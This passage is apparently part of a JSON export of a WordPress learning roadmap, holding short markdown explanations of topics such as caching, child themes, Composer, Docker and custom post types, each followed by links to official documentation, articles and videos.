    "content": "# Assets Optimization\n\nAssets optimization involves refining the files that make up a website, such as images, CSS, and JavaScript, to improve loading speed and overall performance. This process typically includes techniques such as compressing files to reduce their size, combining multiple files to minimize HTTP requests, and utilizing browser caching to store assets locally for faster retrieval on subsequent visits. Efficient asset optimization results in a quicker and more responsive user experience.\n\nVisit the following resources to learn more:\n\n- [@official@Optimization](https://developer.wordpress.org/advanced-administration/performance/optimization/)\n- [@article@Eight Ways to Optimize Your WordPress Site’s Performance](https://wordpress.com/go/tutorials/eight-ways-to-optimize-your-wordpress-sites-performance/)\n- [@article@Speed Up Your Slow WordPress Site In 21 Steps: The Only Tutorial You Need To Pass Core Web Vitals Totally Revamped For 2025](https://onlinemediamasters.com/slow-wordpress-site/)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/automated-deployments@UDQ3VQCllviOq8wI806Wk.md",
    "content": "# Automated Deployments\n\nAutomated deployments streamline the process of moving website code and files from a development environment to a live server. This involves setting up a system where changes made to the website's code are automatically tested, built, and then transferred to the server without manual intervention, ensuring a faster and more reliable release cycle.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to automated WordPress deployments](https://carlalexander.ca/introduction-automated-wordpress-deployments/)\n- [@article@WordPress CI/CD: continuous integration and deployment for WordPress](https://www.hostinger.com/tutorials/wordpress-continuous-integration-and-deployment)\n- [@article@The Ultimate Guide to Automated WordPress Deployments](https://spinupwp.com/wordpress-deployment-workflow-preparing/)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/backend-fundamentals@Xy15NSxlS0QXYNzEvgocK.md",
    "content": "# Backend Fundamentals\n\nBackend fundamentals encompass the core logic and infrastructure that power a website or application. This includes servers, databases, and the code that handles data processing, user authentication, and other essential functions behind the scenes. Understanding these fundamentals is important because it provides a deeper insight into how WordPress functions, allowing you to troubleshoot issues, customize functionality beyond the visual interface, and make informed decisions about hosting, security, and performance optimization.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Backend Roadmap](https://roadmap.sh/backend)\n- [@article@What is backend? A comprehensive intro to server-side development](https://alokai.com/blog/what-is-backend)\n- [@video@Complete Backend Course | Build and Deploy Your First Production-Ready API](https://www.youtube.com/watch?v=rOpEN1JDaD0)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/backups--recovery@4fIWzIY2720UME6qjLdhS.md",
    "content": "# WordPress Backups & Recovery\n\nBackups in WordPress involve creating a copy of your website's files, database, themes, and plugins. This copy acts as a safety net, allowing you to restore your website to a previous working state if something goes wrong, such as a server crash, hacking attempt, or accidental data loss. Recovery is the process of using this backup to reinstate your website, minimizing downtime and data loss.\n\nVisit the following resources to learn more:\n\n- [@official@Backups](https://developer.wordpress.org/advanced-administration/security/backup/)\n- [@article@4 Best Incremental WordPress Backup Plugins (Save Space and Speed)](https://kinsta.com/blog/wordpress-backup-plugins/)\n- [@article@Guide to restoring WordPress from backup files and database](https://teamupdraft.com/blog/restoring-wordpress-from-backup/)\n- [@article@Back up your backup for WordPress disaster recovery](https://kinsta.com/blog/wordpress-disaster-recovery/)\n- [@video@How to Backup Your WordPress Website in 5 Min](https://www.youtube.com/watch?v=bmx39y_8tOs)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/basics-of-seo@CLQwjime3I2HKRzLLnSL3.md",
    "content": "# Basics of SEO\n\nSearch Engine Optimization (SEO) is the practice of improving your website to increase its visibility when people search for products or services related to your business in search engines like Google. The better visibility your pages have in search results, the more likely you are to garner attention and attract prospective and existing customers to your website. For WordPress, this means optimizing your site's content and structure to rank higher in search engine results pages (SERPs), driving more organic traffic to your website.\n\nVisit the following resources to learn more:\n\n- [@article@60 WordPress SEO Tips to Grow Your Organic Traffic by 280%](https://kinsta.com/blog/wordpress-seo/)\n- [@video@WordPress SEO Tutorial for Beginners 2025 | All in One SEO Plugin Tutorial](https://www.youtube.com/watch?v=es_7J3WgXAE)\n- [@video@Unlocking advanced SEO techniques: Part 1](https://www.youtube.com/watch?v=l7pG6M2Wn-A&list=PL1pJFUVKQ7ERioxFzW7z0zwh0OJW_-5jI&index=18)\n- [@video@Unlocking advanced SEO techniques: Part 2](https://www.youtube.com/watch?v=cBE2x-vtjbU&list=PL1pJFUVKQ7ERioxFzW7z0zwh0OJW_-5jI&index=19)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/bedrock@ND0sr6SbdQYcEHic8mOxL.md",
    "content": "# Bedrock\n\nBedrock is a WordPress boilerplate project designed to improve WordPress development by utilizing modern development standards. It introduces a more structured project setup, dependency management with Composer, and environment configuration, making WordPress projects more maintainable, secure, and easier to deploy. It essentially treats your WordPress site as a modern application.\n\nVisit the following resources to learn more:\n\n- [@official@Bedrock](https://roots.io/bedrock/)\n- [@opensource@debrock](https://github.com/roots/bedrock)\n- [@article@WordPress Development: How to Use Bedrock and Trellis?](https://kinsta.com/blog/bedrock-trellis/)\n- [@video@Supercharging Your WordPress Development with Bedrock](https://www.youtube.com/watch?v=VnTiwu7LUZ0)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/block-editor@YbzkrzDYtja8rhYvzkQU8.md",
    "content": "# Block Editor\n\nThe Block Editor, also known as Gutenberg, is the default content editor in WordPress. It allows users to create and format content using individual blocks, each representing a specific element like paragraphs, images, headings, or galleries. These blocks can be easily arranged and customized to build visually appealing and structured pages and posts.\n\nVisit the following resources to learn more:\n\n- [@official@WordPress Block Editor](https://wordpress.org/documentation/article/wordpress-block-editor/)\n- [@official@Block Editor Handbook](https://developer.wordpress.org/block-editor/)\n- [@article@How to Use the WordPress Block Editor (+ 10 Advanced Tips)](https://jetpack.com/resources/wordpress-block-editor/)\n- [@article@How to Use the WordPress Block Editor (Beginner’s Tutorial)](https://thrivethemes.com/wordpress-block-editor-tutorial/)\n- [@video@Creating posts and pages with the WordPress Block Editor](https://www.youtube.com/watch?v=DaaCThv_NNM)\n- [@video@How To Use The WordPress Block Editor](https://www.youtube.com/watch?v=AaKhhIgPbNw)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/block-patterns@lDuJRUjKyie7PbdU12d7r.md",
    "content": "# Block Patterns\n\nBlock Patterns are pre-designed collections of blocks that you can quickly insert into your WordPress content. They offer a convenient way to create visually appealing layouts and sections without having to configure each block manually. Think of them as reusable templates for common design elements, saving you time and effort in building your website.\n\nVisit the following resources to learn more:\n\n- [@official@Use block patterns](https://wordpress.com/support/wordpress-editor/block-pattern/)\n- [@official@Block patterns](https://developer.wordpress.com/docs/guides/block-patterns/)\n- [@official@Patterns](http://wordpress.org/patterns/)\n- [@article@What is a block pattern?](https://fullsiteediting.com/lessons/introduction-to-block-patterns/)\n- [@article@WordPress Block Patterns: How to Use Them & Create Your Own](https://jetpack.com/resources/wordpress-block-patterns/)\n- [@video@WordPress Block Patterns Give You Superpowers](https://www.youtube.com/watch?v=UCHhb4wqDwk)\n- [@video@Block patterns | WordPress.com Support](https://www.youtube.com/watch?v=-Lhn_IZX1SI)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/block@65zlrIkArzxRwVU_fTzhi.md",
    "content": "# Block Themes\n\nBlock themes in WordPress are a modern approach to website design, where the entire site structure, from header to footer, is built using blocks. These blocks, the same ones used to create content in the WordPress editor, offer a visual and intuitive way to customize every aspect of your site's appearance without needing to write code. This allows for greater flexibility and control over design, empowering users to create unique and personalized websites.\n\nVisit the following resources to learn more:\n\n- [@official@Block themes](https://wordpress.org/documentation/article/block-themes/)\n- [@official@WordPress Block Themes Explained in 250 Seconds](https://wordpress.com/blog/2024/03/21/wordpress-block-themes/?utm_source=google&utm_campaign=google_search_wpcom_acquisition_non_es_en&utm_medium=paid_search&keyword=best%20wordpress%20hosting&creative=769260987320&campaignid=647898138&adgroupid=182524974134&matchtype=p&device=c&network=g&targetid=kwd-3533394882&utm_content=&gad_source=1&gad_campaignid=647898138&gbraid=0AAAAADhlTH4nM8YtqQIqSHg4gaJYkKDoF&gclid=CjwKCAiA3L_JBhAlEiwAlcWO5_jDc9B8F8lbtURg7lIkF6URN1tohPUeJJFmyd_nDGWhliaY0I-18hoC9ogQAvD_BwE)\n- [@article@What Is a Block Theme in WordPress?](https://www.wpzoom.com/blog/what-are-wordpress-block-themes/)\n- [@video@WordPress Block Themes Simplified: A Must-Watch Guide for Beginners!](https://www.youtube.com/watch?v=hvd6h_RpFJM&pp=ygUVd2hhdCBhcmUgYmxvY2sgdGhlbWVz)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/boost-your-wordpress-career@dGHHlz26kn14_o7emPcFV.md",
    "content": "# Boost Your WordPress Career\n\nWant to level up your WordPress career? It's all about exploring different paths, showcasing your skills, and staying in the loop. Think about whether you'd enjoy being a developer, designer, content creator, or something else entirely within the WordPress ecosystem. Build a portfolio with real-world projects to demonstrate your abilities. Finally, keep learning by following relevant blogs, listening to podcasts, and subscribing to newsletters to stay updated on the latest trends and best practices.\n\nVisit the following resources to learn more:\n\n- [@article@WordPress Career Options – How to Make a Living With WordPress](https://www.wpbeginner.com/opinion/wordpress-career-options-how-to-make-living-wordpress/)\n- [@article@Unlock a Promising Future: A Comprehensive Guide to a WordPress Developer Career](https://teamcubate.com/blogs/wordpress-developer-career)\n- [@article@How to use WordPress: A complete guide to building a WordPress website](https://www.hostinger.com/tutorials/how-to-use-wordpress)\n- [@article@A WordPress Tutorial for Beginners: Create Your First Site in 10 Steps](https://wpmudev.com/blog/a-wordpress-tutorial-for-beginners-create-your-first-site-in-10-steps/)\n- [@article@36 Best WordPress Blogs You Should Read & Follow (in 2025)](https://www.wpbeginner.com/showcase/best-wordpress-blogs-to-follow/)\n- [@article@9+ Best WordPress Podcasts You Should Listen To](https://metabox.io/best-wordpress-podcasts/)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/caching@zEogtBBsOALQegh5QTy14.md",
    "content": "# Caching\n\nCaching is a technique used to store copies of files or data in a temporary storage location, allowing for faster access in the future. When a user requests information, the system first checks the cache. If the information is found there (a \"cache hit\"), it's delivered quickly. If not (a \"cache miss\"), the system retrieves the information from its source and then stores a copy in the cache for subsequent requests.\n\nVisit the following resources to learn more:\n\n- [@official@Cache](https://developer.wordpress.org/advanced-administration/performance/cache/)\n- [@article@Everything About WordPress Cache](https://wp-rocket.me/wordpress-cache/)\n- [@article@5 Best WordPress Caching Plugins to Speed Up Your Website (2025)](https://www.wpbeginner.com/plugins/best-wordpress-caching-plugins/)\n- [@video@Using caching to improve website performance – W3 Total Cache plugin](https://www.youtube.com/watch?v=BKhYa1E2yAc&list=PL1pJFUVKQ7ERioxFzW7z0zwh0OJW_-5jI&index=10)\n- [@video@Caching Explained for Beginners | Clear Cache on WordPress Website](https://www.youtube.com/watch?v=1OZrrg2QYoE)\n- [@video@WHAT is WordPress Caching [and HOW to use it]](https://www.youtube.com/watch?v=qsvHUY8Juqc)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/cdn-integration@PREVV_dtO35j4Vi1FwQjk.md",
    "content": "# CDN Integration\n\nA Content Delivery Network (CDN) is a geographically distributed group of servers that work together to provide fast delivery of internet content. By caching website assets like images, videos, and scripts on these servers, which are located closer to users, a CDN reduces latency and improves website loading times. This results in a better user experience and can also decrease the load on your origin server.\n\nVisit the following resources to learn more:\n\n- [@article@WordPress CDNs: 6 best choices to speed up your website](https://www.hostinger.com/tutorials/wordpress-cdn)\n- [@article@How to Add & Use a CDN in WordPress (+ Best Free CDN Plugin)](https://jetpack.com/resources/wordpress-cdn/)\n- [@article@Using a CDN to enhance performance](https://www.youtube.com/watch?v=_GDiC3oayj0)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/child-themes@GG6uE_p44ybIxez--igF1.md",
    "content": "# Child Themes\n\nChild themes are sub-themes that inherit the functionality and styling of a parent theme. They allow you to modify the design and code of your WordPress site without directly altering the parent theme files. This is crucial because when the parent theme receives an update, any changes made directly to it will be overwritten, but modifications made in the child theme will remain intact.\n\nVisit the following resources to learn more:\n\n- [@official@Child Themes](https://developer.wordpress.org/themes/advanced-topics/child-themes/)\n- [@official@Create a child theme](https://wordpress.com/support/themes/child-themes/)\n- [@article@How to create a WordPress child theme + customization tips](https://www.hostinger.com/tutorials/how-to-create-wordpress-child-theme)\n- [@video@Child Themes](https://www.youtube.com/watch?v=XTzWivuH10I)\n- [@video@What Is a WordPress Child Theme | Pros+Cons and Why You Need It](https://www.youtube.com/watch?v=1y42_ScELJQ)\n- [@video@Wordpress Child Theme | What Is It? Do You Need It? How To Make It!](https://www.youtube.com/watch?v=Wpc6FAsi7xI)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/classic-vs-block-themes@1rfPHsFNlnCCmk5gLPBoD.md",
    "content": "# Classic vs. Block Themes\n\nClassic themes in WordPress rely on PHP templates and the WordPress Template Hierarchy to structure and display content. Block themes, on the other hand, leverage the Block Editor (Gutenberg) for full site editing, allowing users to design and customize every aspect of their website using blocks. This fundamental difference impacts how themes are built, customized, and how users interact with their website's design.\n\nVisit the following resources to learn more:\n\n- [@official@Different types of themes](https://wordpress.com/support/theme-types/)\n- [@article@WordPress Block Themes vs Classic Themes: 4 Key Differences](https://www.wpzoom.com/blog/block-themes-vs-classic-themes/)\n- [@article@WordPress Block Theme vs Classic Theme](https://instawp.com/wordpress-block-theme-vs-classic-theme/)\n- [@article@How to Switch from a Classic Theme to a Block Theme in WordPress](https://jetpack.com/resources/wordpress-switch-from-classic-to-block-theme/)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/classic@_X1752swPqlH51enlkg2u.md",
    "content": "# Classic Themes\n\nClassic Themes represent the traditional way of designing and structuring a WordPress website, relying heavily on PHP, HTML, CSS, and JavaScript within the theme files themselves. These themes typically involve a more direct approach to coding and customization, often requiring developers to modify template files directly to alter the site's appearance and functionality. They offer a high degree of control but can also be more complex to manage and update compared to newer theme types.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to Classic themes](https://learn.wordpress.org/lesson/introduction-to-classic-themes/)\n- [@official@Classic themes](https://developer.wordpress.org/themes/classic-themes/)\n- [@article@Core concepts to understand in WordPress theme development](https://kinsta.com/blog/wordpress-theme-core-concepts/)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/classic@sNJTLbzuzNIoezVmZt89M.md",
    "content": "# Classic Editor\n\nThe Classic Editor is the original text-based editor in WordPress. It allows you to create and edit pages and posts using a visual editor similar to a word processor, or directly with HTML code. You can format text, add images, create lists, and embed media using buttons and shortcodes. While it's been superseded by the Block Editor (Gutenberg), the Classic Editor remains available as a plugin for those who prefer its familiar interface.\n\nVisit the following resources to learn more:\n\n- [@official@Classic Editor](https://wordpress.org/plugins/classic-editor/)\n- [@official@Using the Classic Editor](https://wordpress.com/support/editors/classic-editor-guide/)\n- [@official@Classic Content Editor Overview](https://learn.wordpress.org/lesson-plan/content-editor-overview/)\n- [@article@WordPress classic editor: How to install and use it](https://www.hostinger.com/tutorials/wordpress-classic-editor)\n- [@article@How to Use the Classic Editor in WordPress and Why](https://www.greengeeks.com/tutorials/classic-editor-wordpress/)\n- [@video@How to Edit a Page in Wordpress Using the Classic Editor (Full 2025 Guide)](https://www.youtube.com/watch?v=T-LerlXW8pA)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/coding-standards@yZ5sglhcY2--dT-JyPQFd.md",
    "content": "# WordPress Coding Standards\n\nWordPress Coding Standards are a set of guidelines and best practices for writing code that is consistent, readable, and maintainable within the WordPress ecosystem. These standards cover various aspects of coding, including PHP, HTML, CSS, and JavaScript, and aim to ensure that code is easy to understand, debug, and collaborate on, regardless of who wrote it. Adhering to these standards helps create a more unified and professional codebase for WordPress themes, plugins, and the core software itself.\n\nVisit the following resources to learn more:\n\n- [@official@WordPress Coding Standards](https://developer.wordpress.org/coding-standards/wordpress-coding-standards/)\n- [@official@WordPress Coding Standards Docs](https://codex.wordpress.org/WordPress_Coding_Standards)\n- [@article@An introduction to WordPress coding standards](https://kinsta.com/blog/wordpress-coding-standards/)\n- [@video@Introduction to WordPress Coding Standards](https://www.youtube.com/watch?v=n7-F-FMzM7Q)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/composer--autoloading@DGUKyNG_gTUWqmPRZNOpz.md",
    "content": "# Composer & Autoloading\n\nComposer is a dependency management tool for PHP, allowing you to declare the libraries your project depends on, and it will manage (install/update) them for you. Autoloading is a mechanism that automatically loads PHP class files when the classes are first used in your code, eliminating the need to manually require or include them. Together, Composer and autoloading streamline the process of managing external libraries and organizing your PHP code in a WordPress project.\n\nVisit the following resources to learn more:\n\n- [@official@Implementing namespaces and coding standards in WordPress plugin development](https://developer.wordpress.org/news/2025/09/implementing-namespaces-and-coding-standards-in-wordpress-plugin-development/)\n- [@article@How to use composer autoload for the WordPress](https://i-wp-dev.com/how-to-use-composer-autoload-for-the-wordpress/)\n- [@video@Using Composer & PSR-4 autoloading for WordPress Plugin](https://www.youtube.com/watch?v=rOFmgbcMCDw)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/composer@SG0_5ZaQcDdnu4Th75Pje.md",
    "content": "# Composer\n\nComposer is a tool for managing dependencies in PHP projects, including WordPress. It lets you declare the libraries your project needs, and it will install them for you. This means you can easily include external code, like plugins or themes from repositories, without manually downloading and managing the files. Composer simplifies updating these dependencies and ensures your project has the correct versions of everything it needs to run.\n\nVisit the following resources to learn more:\n\n- [@official@Composer](https://getcomposer.org/)\n- [@article@Managing Your WordPress Site With Git and Composer](https://deliciousbrains.com/storing-wordpress-in-git/)\n- [@article@Using Composer With WordPress](https://www.smashingmagazine.com/2019/03/composer-wordpress/)\n- [@video@Using Composer with WordPress](https://www.youtube.com/watch?v=_X82sj464NI)\n- [@video@Introduction To Advanced WordPress Plugin Development | Course | Composer | Webpack | Tailwind](https://www.youtube.com/watch?v=o3a6sT8qikk&list=PLD8nQCAhR3tTjCulq0Fw3wZxIoN1wVOaV)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/contribute-to-wordpress@IJ_aNI71Z0H5CMLIDRvqR.md",
    "content": "# Contributing to WordPress\n\nTo elevate your WordPress career, consider contributing directly to the WordPress project. This can involve submitting code to WordPress Core, improving documentation, or helping with translations. Engaging with the WordPress community through forums, online groups, and local meetups provides valuable networking and learning opportunities. Attending WordCamps and local WordPress meetups offers chances to learn from experts, connect with other professionals, and stay updated on the latest trends and best practices.\n\nVisit the following resources to learn more:\n\n- [@official@Become a WordPress contributor](https://wordpress.org/documentation/article/become-a-wordpress-contributor/)\n- [@official@Contribute with Code](https://make.wordpress.org/core/handbook/contribute/)\n- [@article@How to Get Started as a WordPress Contributor](https://kinsta.com/blog/wordpress-contributor/)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/core-web-vitals@ktqvYkk7d680p2eRteAvR.md",
    "content": "# Core Web Vitals\n\nCore Web Vitals are a set of specific metrics that Google uses to evaluate user experience on a webpage. They focus on three key aspects: loading performance (Largest Contentful Paint - LCP), interactivity (First Input Delay - FID), and visual stability (Cumulative Layout Shift - CLS). These metrics aim to quantify how quickly a page loads, how responsive it is to user input, and how much unexpected layout shifting occurs while the page is loading.\n\nVisit the following resources to learn more:\n\n- [@article@How to Improve Google Core Web Vitals on WordPress](https://jetpack.com/resources/wordpress-core-web-vitals/)\n- [@article@Google Core Web Vitals for WordPress: How to Test and Improve Them](https://wp-rocket.me/google-core-web-vitals-wordpress/)\n- [@article@Optimizing WordPress for Core Web Vitals](https://deliciousbrains.com/optimizing-wordpress-for-core-web-vitals/)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/cron-jobs@tdJQiJJ47fdlyEk1Ze1P4.md",
    "content": "# Cron Jobs\n\nCron jobs are scheduled tasks that your WordPress site runs automatically in the background. Think of them as a built-in task scheduler. They allow you to automate things like publishing scheduled posts, checking for updates, sending email notifications, or performing database maintenance without requiring manual intervention. These tasks are executed at specific times or intervals, ensuring your website functions smoothly and efficiently."
  },
  {
    "path": "src/data/roadmaps/wordpress/content/css@qNr6gKBcxYoUJSOc4O3nn.md",
    "content": "# CSS\n\nCSS, or Cascading Style Sheets, is a language used to describe the presentation of a document written in HTML or XML. It controls the layout, colors, fonts, and other visual aspects of a website, ensuring a consistent and appealing user experience across different devices and screen sizes. By separating the content (HTML) from the design (CSS), it allows for easier maintenance and greater flexibility in website styling.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated CSS Roadmap](https://roadmap.sh/css)\n- [@book@HTML & CSS: design and build websites](https://sites.math.duke.edu/courses/math_everywhere/assets/techRefs/HTML%20and%20CSS-%20Design%20and%20Build%20Websites_Jon%20Duckett_2011.pdf)\n- [@article@CSS MDN Docs](https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Styling_basics/What_is_CSS)\n- [@article@CSS | Wikipedia](https://en.wikipedia.org/wiki/CSS)\n- [@video@CSS Tutorial – Full Course for Beginners](https://www.youtube.com/watch?v=OXGznpKZ_sA)\n- [@video@CSS Full Course for Beginners | Complete All-in-One Tutorial | 11 Hours](https://www.youtube.com/watch?v=n4R2E7O-Ngo)\n- [@video@HTML & CSS Full Course - Beginner to Pro](https://www.youtube.com/watch?v=G3e-cpL7ofc)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/custom-fields@6rmwfUecLKrhxOXQIRszK.md",
    "content": "# Custom Fields\n\nCustom fields are a way to add extra information to your WordPress posts, pages, and other content types beyond the standard title, content, and excerpt. They allow you to create specific data entry points for things like product prices, book authors, event dates, or any other unique piece of information you want to associate with your content. This data can then be displayed on your website in a structured and organized manner.\n\nVisit the following resources to learn more:\n\n- [@official@Assign custom fields](https://wordpress.org/documentation/article/assign-custom-fields/)\n- [@article@WordPress Custom Fields 101: Tips, Tricks, and Hacks](https://www.wpbeginner.com/wp-tutorials/wordpress-custom-fields-101-tips-tricks-and-hacks/)\n- [@video@Beginners Guide to Custom Fields in WordPress (Advanced Custom Fields Tutorial)](https://www.youtube.com/watch?v=CFR9FKxACX8)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/custom-post-types@zOQLL3hD8NzAb-287CifD.md",
    "content": "# Custom Post Types\n\nCustom Post Types allow you to create different types of content beyond the standard posts and pages. Think of them as a way to organize and manage specific kinds of information on your website, like products, events, or testimonials, each with its own unique set of fields and display options. This helps you structure your website's content in a more meaningful and organized way.\n\nVisit the following resources to learn more:\n\n- [@official@Custom post types](https://learn.wordpress.org/lesson/custom-post-types/)\n- [@official@How to Use WordPress Custom Post Types to Create a Specialty Website](https://wordpress.com/go/tutorials/wordpress-custom-post-types)\n- [@article@WordPress Custom Post Types: The All-In-One Guide to Create and Use Them](http://kinsta.com/blog/wordpress-custom-post-types/)\n- [@video@Creating custom post types and taxonomies](https://www.youtube.com/watch?v=WB7BKQdcP9w)\n- [@video@Custom Post Types](https://www.youtube.com/watch?v=vPptt9BiAKM)\n- [@video@Wordpress Custom Post Type Tutorial for beginners from scratch (Part#1) | Basics & Introduction](https://www.youtube.com/watch?v=fvStBjaALXo&list=PLT9miexWCpPXs5LDHnQFUTFh0o_ihDy3-)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/custom-tables@_ijMALSgk7NpDQnuo15sB.md",
    "content": "# Custom Tables in WordPress Plugins\n\nCustom tables refer to database tables created and managed by a plugin, separate from the default WordPress tables (like `wp_posts` or `wp_users`). These tables allow plugins to store and manage their own specific data, offering greater flexibility and control over data structures compared to relying solely on WordPress's built-in database schema. This is particularly useful for plugins that require complex data relationships or need to store information not easily accommodated by the standard WordPress tables."
  },
  {
    "path": "src/data/roadmaps/wordpress/content/customizer@fh4oAQsCeAisrxUEqDbqu.md",
    "content": "# Customizer\n\nThe WordPress Customizer is a built-in interface that allows users to modify various aspects of their website's theme in a live preview environment. It provides a visual way to adjust settings like site identity, colors, menus, widgets, and more, seeing the changes reflected in real-time before publishing them. This tool simplifies the process of personalizing a theme without needing to directly edit code. The Customizer is primarily used by classic themes.\n\nVisit the following resources to learn more:\n\n- [@official@Customizer](https://wordpress.com/support/customizer/)\n- [@official@Customizer Docs](https://wordpress.org/documentation/article/customizer/)\n- [@article@How to Use WordPress Theme Customizer Like a Pro (Ultimate Guide)](http://wpbeginner.com/beginners-guide/how-to-use-wordpress-theme-customizer/)\n- [@video@How to Use the WordPress Customizer](https://www.youtube.com/watch?v=PhmbXAlDP34)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/database-tuning@5nd9YdT871IZF2Ry35bdh.md",
    "content": "# Database Tuning\n\nDatabase tuning involves optimizing the performance of a database system to improve its speed, efficiency, and overall responsiveness. This process includes analyzing database queries, adjusting configuration parameters, and reorganizing data structures to minimize resource consumption and maximize throughput. The goal is to ensure the database operates smoothly and efficiently, handling requests quickly and reliably.\n\nVisit the following resources to learn more:\n\n- [@article@The Ultimate Guide to WordPress MySQL Optimization](https://elementor.com/blog/the-ultimate-guide-to-wordpress-mysql-optimization/)\n- [@article@WordPress Database Optimization Myths: When ‘Tuning’ Makes MySQL Worse](https://blog.webhostmost.com/wordpress-database-optimization-2025/)\n- [@article@How to speed up a WordPress website: 12 performance optimization methods](https://www.hostinger.com/tutorials/speed-up-wordpress)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/design-patterns@sXDr-m69q3b7HTEwAx4Oe.md",
    "content": "# Design Patterns\n\nDesign patterns are reusable solutions to commonly occurring problems in software design. They represent best practices developed over time by experienced developers. Instead of providing code directly, they offer a template or blueprint for how to solve a particular design challenge, allowing developers to adapt the pattern to their specific context and create more maintainable, flexible, and robust code.\n\nVisit the following resources to learn more:\n\n- [@official@Using PHP in Patterns](https://developer.wordpress.org/themes/patterns/using-php-in-patterns/)\n- [@article@Basic PHP Design Patterns For WordPress Developers](https://torquemag.io/2016/06/basic-php-design-patterns-developers/)\n- [@video@PHP Design Patterns in REAL life - Student code review #1](https://www.youtube.com/watch?v=JS-AdMxIfew&list=PLL4sNmZle1wAg3rX2V0tdllT15T6j5mvz)\n- [@video@PHP OOP Design Patterns](https://www.youtube.com/watch?v=_WDztTPrTDM&list=PLQH1-k79HB39JVyhyduZOXZOPq9VrMJwC)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/docker@2W-s3ugsrRpkFj0WQFDKe.md",
    "content": "# Docker for Local WordPress Development\n\nDocker is a platform that uses containerization to package software with all its dependencies into standardized units for software development. This allows developers to create, deploy, and run applications in isolated environments called containers, ensuring consistency across different computing environments, from development to production. For WordPress, Docker simplifies setting up a local development environment by providing pre-configured containers with all the necessary components like web servers, databases, and PHP.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Docker Roadmap](https://roadmap.sh/docker)\n- [@official@Docker with WP](https://hub.docker.com/_/wordpress)\n- [@official@Dockerize WordPress: Simplify Your Site’s Setup and Deployment](https://www.docker.com/blog/how-to-dockerize-wordpress/)\n- [@article@How To Install WordPress With Docker Compose](https://www.digitalocean.com/community/tutorials/how-to-install-wordpress-with-docker-compose)\n- [@video@Quick Wordpress Setup With Docker](https://www.youtube.com/watch?v=pYhLEV-sRpY)\n- [@video@Docker Setup for Local WordPress Development](https://www.youtube.com/watch?v=GG2k-La5t3o)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/external-api-integrations@TY_lQuXU5RkvnYxi-JsT6.md",
    "content": "# External API Integrations\n\nExternal API integrations allow plugins to connect and interact with services and data sources outside of the WordPress environment. This involves using code to send requests to external servers, receive data in formats like JSON or XML, and then process and display that information within the WordPress plugin. This enables plugins to extend their functionality by leveraging the capabilities of other platforms and services."
  },
  {
    "path": "src/data/roadmaps/wordpress/content/file-structure@BYoMY5a7j-X5tAUB9N3-y.md",
    "content": "# WordPress File Structure\n\nThe WordPress file structure is the organized system of folders and files that make up a WordPress website. It includes core WordPress files, theme files, plugin files, and user-uploaded content, all working together to display your website's content and functionality. Understanding this structure is essential for troubleshooting, customizing, and managing your WordPress site effectively.\n\nVisit the following resources to learn more:\n\n- [@official@The WordPress file structure](https://learn.wordpress.org/lesson/the-wordpress-file-structure/)\n- [@article@Beginner’s Guide to WordPress File and Directory Structure](https://www.wpbeginner.com/beginners-guide/beginners-guide-to-wordpress-file-and-directory-structure/)\n- [@article@Beginner’s Guide to Understanding WordPress File Structure & Database](https://www.malcare.com/blog/beginners-guide-to-understanding-the-structure-of-a-wordpress-site/)\n- [@video@The WordPress file system](https://www.youtube.com/watch?v=Bz-UB_KjufU)\n- [@video@Understand where your files live](https://www.youtube.com/watch?v=Nm2fpJ4jBt4)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/file-structure@KmGbX5xFuap5EUUjQiJtK.md",
    "content": "# Plugin File Structure\n\nA plugin's file structure is the way its files and folders are organized within the WordPress plugins directory. This structure determines how WordPress loads and executes the plugin's code, assets, and other resources. A well-organized file structure makes the plugin easier to understand, maintain, and update.\n\nVisit the following resources to learn more:\n\n- [@official@Getting Started with Plugins](https://developer.wordpress.org/plugins/plugin-basics/#getting-started)\n- [@official@Best Practices](https://developer.wordpress.org/plugins/plugin-basics/best-practices/)\n- [@article@Introduction to Plugin Development](https://developer.wordpress.org/plugins/intro/)\n- [@article@WordPress Plugin Development](https://triggergrowth.com/blog/wordpress-plugin-development/)\n- [@video@WordPress Plugin Tutorial: Folder Structure and the Plugin Header](https://www.youtube.com/watch?v=GNaJygOfgnk)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/filters@k7JT0NaGrBd9OS3VhOsEM.md",
